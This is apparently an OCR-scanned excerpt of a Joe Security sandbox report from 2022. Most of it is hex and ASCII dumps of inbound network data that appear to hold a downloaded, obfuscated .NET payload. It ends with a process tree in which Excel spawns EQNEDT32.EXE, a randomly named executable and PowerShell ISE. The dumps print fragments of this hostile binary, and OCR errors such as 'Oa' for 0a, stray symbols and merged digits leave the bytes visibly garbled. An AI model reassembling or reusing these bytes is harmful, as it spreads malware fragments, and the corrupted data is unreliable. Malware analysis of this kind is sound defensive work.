77 00 00 Oa 28 78 00 00 Oa 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 28 77 00 00 0a 72 94 11 00 70 20 3e dc
Data Ascii: W( (W/irp & P V~.q jl c(I/

W(x

eeeeeeeeeeeeeeeee(wrp >

Data Raw: 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 28 77 00 00
0a 72 d6 14 00 70 20 5a ab 5a ae 20 3d 5b a2 5f 20 50 54 al e7 20 e4 Of 1f d3 20 bf 79 33 91 28 5d 00 00 06 a2 00 11 2f
28 2e 00 00 06 13 Of 18 20 ff ff ff 7f 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 28 77 00 00 Oa 28 78 00 00 Oa 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 28
77 00 00 Oa 8d 15 00 00 01 13 2f 11 2f 16 72 f6 14 00 70 20 20 fb ef 68 20 5d 37 60 36 20 34 49 9f c4 20 €0 e6 bf 32 20 6
3a8f9 71 28 5d 00 00 06 a2 00 11 2f 17 20 ff ff ff 7f 65 65 65

Data Ascii: wrp ZZ =[_ PT y3(J/(.
w( w/irp h]7°6 41 2 cq(]/ eee

Data Raw: 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 28 77 00 00 0a 28 78 00 00 Oa 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 28 77 00
00 0a 28 17 00 00 Oa 13 1e 04 11 le 1f 34 20 ff ff ff 7f 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 6
528 77 00 00 Oa 28 78 00 00 Oa 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 28 77 00 00 Oa d6 28 17 00 00 Oa 13 20 20 b3 00 00 00 20 ff f ff 7f 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 28 77 00 00 0a 28 78 00 00 Oa 65 65

Data Ascii: eeeeeeceeeeeeeceeeeeeeeeeeeeeeeeeeeeeeeeeeee(w(xeeeeeeeeeeeeeeeeeee eee eeee
eeeeeeeeeeeeeeee(W(4 eeceeeeeeeeeeeeeeeeeee(w(xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee(W( eeeeeeeeeeeeeee
eeeeeeeee(w(xee
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Timestamp transferred Direction
2022-08-05 09:41:36 UTC 47 IN
2022-08-05 09:41:36 UTC 48 IN
2022-08-05 09:41:36 UTC 50 IN
2022-08-05 09:41:36 UTC 51 IN
2022-08-05 09:41:36 UTC 52 IN
2022-08-05 09:41:36 UTC 54 IN
2022-08-05 09:41:36 UTC 55 IN
2022-08-05 09:41:36 UTC 57 IN
2022-08-05 09:41:36 UTC 58 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 65 65 65 28 77 00 00 Oa 28 78 00 00 Oa 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 28 77 00 00 Oa 1f 40 20 ff ff ff 7f 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 28 77 00 00 Oa 28 78 00 00
Oa 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 28 77 00 00 Oa 6f 57 00 00 06 13 24 05 2c 05 11 24 16 2e 03 16 2b 7b 17 20 ff ff ff 7f 65 65 65 65 65 65 65 65 65 6
528 77 00 00 Oa 28 78 00 00 Oa 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65

Data Ascii: eee(w( w@

eee(w( WOWS,$.+{ (w(

Data Raw: 65 65 65 65 65 65 28 77 00 00 Oa 28 78 00 00 Oa 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
28 77 00 00 Oa da 17 20 ff ff ff 7f 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 28 77 00 00 Oa 28 78 00
00 0a 65 65 65 65 65 65 65 65 65 65 65 65 28 77 00 00 0a d6 17 20 ff ff ff 7f 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 28 77 00 00 Oa

Data Ascii: W(X W

w(
w (w

Data Raw: 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 28 77 00 00 Oa 11 24 11 1f
d6 9e 28 15 00 00 Oa 1a 20 ff ff ff 7f 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 28 77 00 00 Oa 28 78 00 00
Oa 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 28 77 00 00 Oa fe 01 1332 11322¢ 2211121201 7b
10 00 00 04 11 1a 6f 43 00 00 06 16 fe 01 13 31 11 31 2c 06 73 21 00 00 Oa 7a 00 2b 1f 11 15 12 01 7b 10 00 00 04 11
1a 6f 47 00 00 06 16 fe 01 13 32 11 32 2¢ 06 73 21 00 00 Oa 7a 00 11 06

Data Ascii: W( W(X

w22,"{oC11,s!z+{0G22,s!z

Data Raw: 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00
00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00
00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00
00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00
00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00
00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00
00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00

Data Ascii:

Data Raw: 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00
00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00
00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65
00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00
65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00
00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00
00 00 65 00 00 00 00 00 00 00 00 00 28 00 09 00 00 00 77 00 00 Oa 00 00 00

Data Ascii: w

Data Raw: 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00
00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00
00 00 00 28 00 09 00 00 00 77 00 00 Oa 00 00 00 00 28 00 09 00 00 00 78 00 00 Oa 00 00 00 00 65 00 00 00 00 00 00 00
00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00
00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00
00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00
00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00

Data Ascii: w(

Data Raw: 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00
00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00
00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65
00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00
28 00 09 00 00 00 77 00 00 Oa 00 00 00 00 28 00 09 00 00 00 78 00 00 Oa 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65
00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00
65 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 00 00 00 65 00 00 00 00

Data Ascii: w(.

Data Raw: 02 26 02 06 00 84 02 66 02 Oa 00 94 02 8d 02 06 00 ec 02 26 02 Oa 00 6a 03 8d 02 06 00 ec 03 c2 03 Oa 00
2c 04 11 04 Oe 00 4a 04 3a 04 Oe 00 74 04 3a 04 Oe 00 a5 04 3a 04 Oe 00 c0O 04 3a 04 0a 00 e7 04 11 04 Oa 00 44 05 31
05 0a 00 c6 05 b5 05 0a 00 f7 05 e2 05 12 00 5¢ 06 47 06 0a 00 e9 07 8d 02 0a 00 15 08 8d 02 Oa 00 22 08 8d 02 0a 00 8
7 09 8d 02 0a 00 02 Oa 8d 02 12 00 1c Oa 09 Oa Oa 00 2a 0a 31 05 12 00 46 0a 09 Oa 12 00 60 Oa 09 Oa Oa 00 84 Oa 31
05 0a 00 d5 0a b5 0a 06 00 31 Ob 0a Ob Oa 00 62 Ob 8d 02 0a 00 76 Ob 8d 02 0a 00 89 Ob 8d 02 0a 00 cc Ob ad Ob Oa 00
d4 0b 8d 02 06 00 fb Ob Oa Ob Oa 00 1a Oc 8d 02 0a 00 37 Oc 8d 02 0a 00 58 Oc 4c Oc 0a 00 75 Oc 8d 02 Oa 00 88 Oc 8d
02 0a 00 b3 Oc 8d 02 0a 00 b9 Oc 8d 02 0a 00 cO Oc 8d 02 06 00 d9 Oc Oa Ob

Data Ascii: &f&j,J:t:::D1\G"*1F 11bv7XLu

Data Raw: bc 02 06 00 b6 09 bc 02 06 00 22 07 be 02 06 00 bf 09 cc 01 06 00 ¢9 09 cc 01 06 00 d1 09 cc 01 06 10 d7 09
bf 02 06 00 dc 09 b9 02 06 00 e6 09 b9 02 06 00 ef 09 b9 02 06 00 f9 09 b9 02 16 00 d1 14 b0 08 16 00 04 14 b0 08 16
00 bf 14 b0 08 16 00 bc 13 b0 08 16 00 9b 14 b0 08 16 00 d8 12 b0 08 16 00 aa 13 b0 08 16 00 4b 14 b0 08 16 00 39 13
b0 08 16 00 b6 14 b0 08 16 00 42 14 b0 08 16 00 42 13 b0 08 16 00 b4 12 b0 08 16 00 9 13 b0 08 16 00 34 29 e4 08 16
00 21 29 €9 08 16 00 02 29 f4 08 5¢ 00 5d 00 5e 00 5f 00 60 00 01 00 02 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00
0a 00 0b 00 Oc 00 0d 00 Oe 00 Of 00 10 00 11 00 12 00 13 00 14 00 15 00 16 00 17 00 18 00 19 00 1a 00 1b 00 1c 00 1d
00 1e 00 1f 00 20 00 21 00 22 00 23 00 24 00 25 00 26 00 27 00 28 00 29

Data Ascii: "K9BBA))N\*_* I"#$%&()
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Timestamp transferred Direction
2022-08-05 09:41:36 UTC 59 IN
2022-08-05 09:41:36 UTC 61 IN
2022-08-05 09:41:36 UTC 62 IN
2022-08-05 09:41:36 UTC 63 IN
2022-08-05 09:41:36 UTC 67 IN
2022-08-05 09:41:36 UTC 71 IN
2022-08-05 09:41:36 UTC 72 IN
2022-08-05 09:41:36 UTC 77 IN
2022-08-05 09:41:36 UTC 81 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 00 46 03 30 08 39 02 7e 00 00 00 00 00 03 00 46 03 60 08 48 02 85 00 00 00 00 00 03 00 46 03 7e 08 52 02
88 00 00 00 00 00 03 00 06 18 60 02 d3 01 8d 00 00 00 00 00 03 00 46 03 30 08 5d 02 8f 00 00 00 00 00 03 00 46 03 60
08 6¢ 02 96 00 00 00 00 00 03 00 46 03 7e 08 74 02 98 00 00 00 00 00 03 00 06 18 60 02 d3 01 9d 00 00 00 00 00 03 00
46 03 30 08 7f 02 9f 00 00 00 00 00 03 00 46 03 60 08 89 02 a3 00 00 00 00 00 03 00 46 03 7e 08 8f 02 a4 00 00 00 00
00 03 00 06 18 60 02 d3 01 a6 00 00 00 00 00 03 00 46 03 30 08 95 02 a8 00 00 00 00 00 03 00 46 03 60 08 89 02 af 00
00 00 00 00 03 00 46 03 7e 08 a2 02 b0 00 00 00 00 00 03 00 06 18 60 02 d3 01 b5 00 00 00 00 00 03 00 46 03 30 08 ab
02 b7 00 00 00 00 00 03 00 46 03 60 08 89 02 ba 00 00 00 00 00 03 00 46 03

Data Ascii: FO9~F HF~R"FOJF IF~t'FOF F~FOF F~"FOF F

Data Raw: 00 00 07 00 4d 08 00 00 01 00 6a 08 00 00 01 00 64 09 00 00 02 00 6b 09 00 00 03 00 73 09 00 00 04 00 7a
09 00 00 05 00 7f 09 00 00 01 00 fb 07 00 00 02 00 08 08 00 00 01 00 64 09 00 00 02 00 3c 08 00 00 03 00 4d 08 00 00
01 00 6a 08 00 00 01 00 64 09 19 00 60 02 13 00 a9 00 36 Oa cd 02 a9 00 3f 0a d2 02 c1 00 4e Oa d8 02 c1 00 78 Oa dd O
2 d1 00 9b 0a e2 02 b9 00 a9 Oa e7 02 d9 00 e4 Oa eb 02 b1 00 f3 0a 71 00 a9 00 02 Ob 71 00 e1 00 3b Ob fO 02 b1 00 49
0b f7 02 b9 00 59 0b fb 02 €9 00 6e Ob 13 00 f1 00 7d Ob Ob 03 f1 00 7d Ob 10 03 29 00 9b Ob 15 03 01 01 dd Ob 1c 03 11
01 07 Oc 25 03 01 01 1f Oc 36 03 f1 00 24 Oc 46 03 01 01 2d Oc 4a 03 21 01 44 Oc 4f 03 29 01 61 Oc 56 03 29 01 6b Oc 5¢
03 a9 00 7a Oc 62 03 21 01 80 Oc 69 03 a9 00 92 Oc b0 03 01 01 99

Data Ascii: Mjdkszd<Mjd 6?Nxqg;Yn}})%6$F-J!DO)aV)k\zbli

Data Raw: 00 93 01 83 04 63 00 8b 01 74 04 69 00 fb 01 Oa 05 80 00 a3 01 57 04 83 00 93 01 83 04 83 00 eb 01 57 04
830030157 048900 fb01e504a0 00 a3 015704 a3008b 017404 a3 002302 3805c000a30157 04 c3 00 8b
01 74 04 ¢3 00 4b 02 c2 05 c9 00 2b 03 57 04 e0 00 a3 01 57 04 e3 00 23 03 57 04 €3 00 6b 01 57 04 €3 00 8b 01 74 04
€9 00 2b 03 57 04 00 01 8b 01 74 04 00 01 a3 01 57 04 03 01 8b 01 74 04 03 01 23 03 57 04 03 01 6b 01 57 04 09 01 2b
03 57 04 20 01 a3 01 57 04 20 01 8b 01 74 04 23 01 eb 01 57 04 23 01 6b 01 57 04 23 01 93 01 f3 06 23 01 f3 01 57 04
2301 23 0357 0429 01 8b 01 34 07 40 01 a3 01 57 04 40 01 8b 01 74 04 43 01 93 01 4b 07 43 01 8b 01 34 07 43 01 23
03 57 04 49 01 8b 01 34 07 60 01 8b 01 74 04 60 01 a3 01 57 04 63 01 eb 01

Data Ascii: ctiwWWWWI#BWK+WWHWKWt+WIWHWKW+W W t#HWHKWHEWH#HW) 4@ W @tCKCACH#WI4 t' We

Data Raw: 73 74 61 6e 63 65 45 76 65 6e 74 41 72 67 73 00 65 74 5a 45 71 73 49 74 4e 4e 55 4e 4f 4a 4e 00 65 72 49 6¢
4f 48 6d 54 6a 76 46 55 52 55 42 00 66 4c 6b 4f 54 6f 51 64 54 72 5a 49 4c 56 71 00 66 4c 4e 63 76 42 43 4f 57 45 6a 6¢
58 5a 51 00 6e 6d 58 49 52 65 7a 54 5a 48 69 4e 6f 50 70 00 55 61 79 74 50 50 48 4a 59 55 63 53 4f 4b 6a 00 44 74 5a
44 5a 6d 6b 58 45 67 66 4e 4a 71 68 00 6e 4e 55 68 46 49 49 79 4a 56 66 78 55 6f 4a 00 68 6¢ 49 4b 45 70 4a 6¢ 70 43
6a 59 75 4e 46 00 58 54 54 4c 43 6b 78 67 45 61 50 51 51 43 74 00 73 44 47 57 6a 74 49 6e 6e 65 41 74 76 51 44 00 65
4e 50 44 67 71 71 4e 53 47 4e 59 4e 67 4c 00 43 6d 4c 4f 6¢ 50 43 56 4f 53 6b 41 56 6b 59 00 4d 69 63 72 6f 73 6f 66 74
2e 56 69 73 75 61 6¢ 42 61 73 69 63 2e 41 70 70 6¢ 69 63 61 74 69

Data Ascii: stanceEventArgsetZEqsItNNUNOJNerllOHmTjvFURUBfLKOToQdTrZILVgfLNcvBCOWE|IXZQnmX
IRezTZHiNoPpUaytPPHJYUcSOK|DtZDZmkXEgfNIghnNUhFIlyJVfxUoJhlIKEpJIpCjYuNFXTTLCkxgEaPQQCtsDG
WijtinneAtvQDeNPDggqgqNSGNYNgLCmLOIPCVOSKAVKYMicrosoft.VisualBasic.Applicati

Data Raw: 6d 62 6¢ 79 44 65 73 63 72 69 70 74 69 6f 6e 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6¢ 79 54 69 74
6c 6541 74 74 72 69 62 75 74 65 00 53 74 61 72 74 75 70 4e 65 78 74 49 6e 73 74 61 6e 63 65 45 76 65 6e 74 41 72 67
73 2e 64 6¢ 6¢ 00 36 41 35 33 37 30 30 30 00 38 39 34 32 33 46 31 30 00 46 36 39 34 44 37 39 30 00 43 36 34 37 41 35
3031 00 45 42 43 31 33 34 41 31 00 43 34 45 45 30 41 43 31 00 45 43 42 44 41 37 34 32 00 46 34 31 46 44 38 38 32 00
3245 37 38 37 39 38 32 00 32 33 44 41 35 43 38 32 00 31 37 36 46 33 30 43 32 00 38 31 41 43 38 44 45 32 00 45 35 33
46 31 35 30 33 00 44 39 41 41 32 32 32 33 00 37 42 36 36 44 35 36 34 00 33 38 30 34 30 34 41 34 00 45 30 42 32 41 41
34 00 32 31 35 35 34 41 46 34 00 39 38 39 31 30 38 30 35 00 37 45 45 36

Data Ascii: mblyDescriptionAttributeAssemblyTitleAttributeStartupNextinstanceEventArgs.dli6A53700089423F10F694
D790C647A501EBC134A1C4EEOACIECBDA742F41FD8822E78798223DA5C82176F30C281AC8DE2ES3F
1503D9AA22237B66D564380404A4E0B2AA421554AF4989108057EE6

Data Raw: b4 8f ca 99 d2 93 e1 b4 9c 73 el b4 84 el b4 80 el b4 9b el b4 87 el b4 85 20 ca 99 ca 8f 20 73 el b4 87 el
b4 a0 el b4 87 c9 b4 20 el b4 87 ca 8f el b4 87 20 el b4 84 ca 80 ca 8f el b4 98 el b4 9b el b4 87 ca 80 e8 8d 89 dO b5
€7 8599 d7 a4 d7 a4 e3 83 a7 d0 b0 €3 82 b7 d7 a6 e0 a4 85 e0 a4 aa d7 98 d7 98 d7 98 dO b8 e0 a4 9a d7 93 d1 8a e5
84 bf e5 84 bf e8 bf aa €3 82 87 €381 93 e8 af b6 d1 82 e0 a4 aa e5 a8 9c e5 bl 81 d7 96 e0 a4 9b e8 af b6 dO b2 d0 b8
d7 a9 e0 a4 aa €3 82 87 d7 al e3 82 a6 e3 82 a6 e0 a4 aa d7 a8 e5 84 bf d7 93 €9 87 91 e0 a4 ae e3 82 bf e5 b0 ba e3
82 b3 e3 81 97 d0 bl dO b5 e3 83 a7 €3 82 b3 d0 b4 e5 b0 ba e3 81 8e e0 a4 aa d0 b5 e3 83 a7 e5 84 bf e3 82 8f e5 a4 8
d d7 98 e0 a4 8f e0 a4 9a d7 98 e8 a5 bf d1 82 d0 b5 e5 84 bf d7

Data Ascii: s s

Data Raw: 20 73 el b4 87 el b4 a0 el b4 87 c9 b4 20 el b4 87 ca 8f el b4 87 20 el b4 84 ca 80 ca 8f el b4 98 el b4 9b
el b4 87 ca 80 d1 8a e3 8193 d7 a6 e3 82 b7 e0 a4 aa dO b2 e5 bc 80 dO b5 d7 98 e5 bc 80 e5 a8 9c e9 a9 ac e8 af b6
e3 81 9fe3 82 ad e0 a4 aa e0 a4 8f e3 82 87 6 9d b0 d7 a6 e6 9d b0 d1 8a e3 82 bf e3 82 8f e3 82 87 d7 a9 e3 82 b3 e3
82 bf e3 83 a7 €0 a4 9b e8 89 be 3 81 b0 d0 b5 d7 90 €5 90 be e8 b4 bc e3 82 a6 d7 96 dO b1l e5 84 bf e3 81 9f e4 b8 bd
e5 a4 8d e3 82 8f e0 a4 9b 3 82 bf €3 81 93 €0 a4 9b e3 82 87 €3 81 97 dO b2 e3 82 bf e8 af b6 e3 82 bf e5 bl 81 e3 82
87 e0 a4 85 e3 81 93 e3 81 8e d0 b6 d1 8a d7 a6 e0 a4 82 e3 82 b7 e3 83 a7 €3 82 b7 €3 82 bf e5 b0 ba e5 bl 81 d0 b2
€8 8d 89 e5 bl 81 e5 bc 80 e3 82 bf 9 a9 ac d7 96 d1 82 e3 82

Data Ascii: s

Data Raw: 00 72 00 68 00 54 00 69 00 53 00 42 00 57 00 57 00 54 00 6f 00 59 00 44 00 78 00 46 00 66 00 45 00 67 00
6b 00 65 00 6d 00 75 00 69 00 53 00 42 00 57 00 57 00 54 00 6f 00 59 00 44 00 78 00 46 00 66 00 45 00 67 00 6b 00 73
00 65 00 52 00 69 00 53 00 42 00 57 00 57 00 54 00 6f 00 59 00 44 00 78 00 46 00 66 00 45 00 67 00 6b 00 00 1f 69 00 5
30042 0057 00 57 00 54 00 6f 00 59 00 44 00 78 00 46 00 66 00 45 00 67 00 6b 00 00 Ob 22 00 7b 00 30 00 7d 00 22
00 00 03 20 00 00 4d 53 00 74 00 61 00 72 00 74 00 75 00 70 00 4e 00 65 00 78 00 74 00 49 00 6e 00 73 00 74 00 61 00
6e 00 63 00 65 00 45 00 76 00 65 00 6e 00 74 00 41 00 72 00 67 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63
00 65 00 73 00 00 00 00 4d cf 6a fO 6a dd 6a ee 6a fO 6a f1 6a ec 6a ca 6a

Data Ascii: rhTiISBWWToYDxFfEgkemuiSBWWToYDxFfEgkseRiISBWWToYDxFEgkiSBWWToYDxFEgk"{0}" MSt

Data Raw: 00 01 08 12 15 04 00 01 02 Oe 06 00 03 Oe Oe Oe Oe Oc 00 05 01 12 80 a9 08 12 80 a9 08 08 05 00 01 1d 05
08 06 00 01 01 12 80 9d 05 00 01 12 61 08 49 07 34 11 64 11 60 12 3c 12 40 Oe 12 54 12 5c 02 Oe Oe Oe Oe Oe Oe Oe Oe
Oe Oe 12 44 12 38 Oe 12 48 12 50 Oe 12 58 12 4c 1d 08 08 1d 05 02 08 08 08 08 08 08 08 08 08 08 08 08 08 08 1d 05 12
80 9d 12 61 1d Oe 08 02 02 08 Ob 10 01 01 1e 00 15 12 1d 01 1e 00 03 Oa 01 Oe 05 20 02 Oe Oe Oe 04 00 01 Oe Oe 05 07
03 Oe Oe Oe 03 07 01 02 04 01 00 00 00 06 20 01 01 11 80 c1 06 20 01 01 11 80 c9 02 1e 24 06 20 01 01 11 80 d1 08 01
00 01 00 00 00 00 00 05 20 02 01 Oe Oe 18 01 00 Oa 4d 79 54 65 6d 70 6¢ 61 74 65 08 31 31 2e 30 2e 30 2e 30 00 00 06
15121801 12 0c 06 15 12 18 01 12 08 06 15 12 18 01 12 11 06 15 12 18 01

Data Ascii: al4d’<@T\D8HPXLa $ MyTemplate11.0.0.0
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Direction Data
transferred

Timestamp

2022-08-05 09:41:36 UTC 85 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 01 01
010101 01 01 0101 010101 01 0103 03 01 02 02 02 02 02 02 02 02 02 02 02 02 01 03 03 01 02 02 02 02 02 02 02 02
02 02 02 02 01 03 03 01 02 02 02 02 02 02 02 02 02 02 02 02 01 03 03 01 02 02 02 02 02 02 02 02 02 02 02 02 01 03 03
01 02 02 02 02 02 02 02 02 02 02 02 02 01 03 03 01 02 02 02 02 02 02 02 02 02 02 02 02 01 03 03 01 02 02 02 02 02 02
02 02 02 02 02 02 01 03 03 01 02 02 02 02 02 02 02 02 02 02 02 02 01 03 03 01 01 01 01 01 01 01 01 01 01 01 01 01 01
030301 010101010101010101010101010303010101010101010101010101010103030303030303
03 03 03 03 03 03 03 03 03 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Data Ascii:

2022-08-05 09:41:36 UTC 89 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 OO 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00
00 80 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Data Ascii: (@

2022-08-05 09:41:36 UTC 93 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff f ff ff ff 00 0O 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff 00 00 01 00 06 00 10 10 10 00 01 00 04 00 28 01 00 00 02 00 10 10 00
00 01 00 08 00 68 05 00 00 03 00 10 10 00 00 01 00 20
Data Ascii: (h

Statistics

Behavior

@ EXCEL.EXE

® EQNEDT32.EXE

@ jhghyftvgyjhjhgjhjhggfresewdxrenvf...
@ powershell_ise.exe

® dw20.exe
@ Click to jump to process
System Behavior
Analysis Process: EXCEL.EXE PID: 2960, Parent PID: 576
General
Target ID: 0
Start time: 11:41:32
Start date: 05/08/2022
Path: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit): false
Commandline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase: 0x13f440000
File size: 28253536 bytes
MDS5 hash: D53B85E21886D2AF9815C377537BCAC3
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Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

true

true

C, C++ or other language

high

File Activities
